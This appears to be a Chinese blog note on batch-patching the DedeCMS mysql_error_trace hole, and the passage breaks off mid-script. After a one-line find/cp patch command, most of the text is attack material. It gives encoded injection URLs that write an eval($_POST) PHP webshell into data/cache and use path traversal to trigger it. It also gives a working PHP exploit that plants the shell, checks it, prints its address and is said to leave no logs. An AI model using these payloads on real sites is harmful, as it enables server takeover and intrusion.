批量修复dede mysql_err漏洞
本来想用查找替换，但是符号太麻烦了。考虑到文件都是一样的，只好先修改一个，然后替换就行了。

find ./webfiles -name "dedesql.class.php" -print -exec cp -f ./dedesql.class.php {} \;


--------------------------------
漏洞测试：



1、http://xxx//uploads/plus/digg_frame.php?action=good&id=1024%651024&mid=*/fputs(fopen(base64_decode(ZGF0YS9jYWNoZS9jLnBocA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUWzFdKTsgPz4));?>
http://xxx/uploads/plus/comments_frame.php?id=2&needCode=/../../../data/mysql_error_trace
在data/cache下生成c.php


xxx.com/plus/digg_ajax.php?id=1024e1024&*/fputs(fopen(chr(46).chr(46).chr(47).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(116).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(39).chr(116).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62));/*

xxx.com/plus/comments_frame.php?id=2&needCode=/../../../data/mysql_error_trace




2、执行exp,执行成功会在在data/cache下生成t.php小马密码t,官方

此exp得特点是生产t.php得时候不留日志

exp:
<?php
print_r(' 
+----------------------------------------+ 
dedecms v5.5 final getwebshell exploit 
+----------------------------------------+ 
'); 
if ($argc < 3) { 
print_r(' 
+----------------------------------------+ 
Usage: php '.$argv[0].' host path 
host:      target server (ip/hostname) 
path:      path to dedecms 
Example: 
php '.$argv[0].' localhost /dedecms/ 
+----------------------------------------+     
'); 
exit; 
} 
error_reporting(7); 
ini_set('max_execution_time', 0); 

$host = $argv[1]; 
$path = $argv[2]; 

$post_a = 'plus/digg_ajax.php?id=1024e1024&*/fputs(fopen(chr(46).chr(46).chr(47).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(116).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(39).chr(116).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62));/*'; 
$post_b = 'needCode=aa/../../../data/mysql_error_trace'; 
$shell = 'data/cache/t.php'; 

get_send($post_a); 
post_send('plus/comments_frame.php',$post_b); 
$content = post_send($shell,'t=echo tojen;'); 

if(substr($content,9,3)=='200'){ 
    echo "\nShell Address is:".$host.$path.$shell; 
}else{ 
    echo "\nError."; 
} 
function get_send($url){ 
    global $host, $path; 
    $message = "GET ".$path."$url  HTTP/1.1\r\n"; 
    $message .= "Accept: */*\r\n"; 
    $message .= "Referer: http://$host$path\r\n"; 
    $message .= "Accept-Language: zh-cn\r\n"; 
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n"; 
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n"; 
    $message .= "Host: $host\r\n"; 
    $message .= "Connection: Close\r\n\r\n"; 
    $fp = fsockopen($host, 80); 
    if(!$fp){ 
        echo "\nConnect to host Error";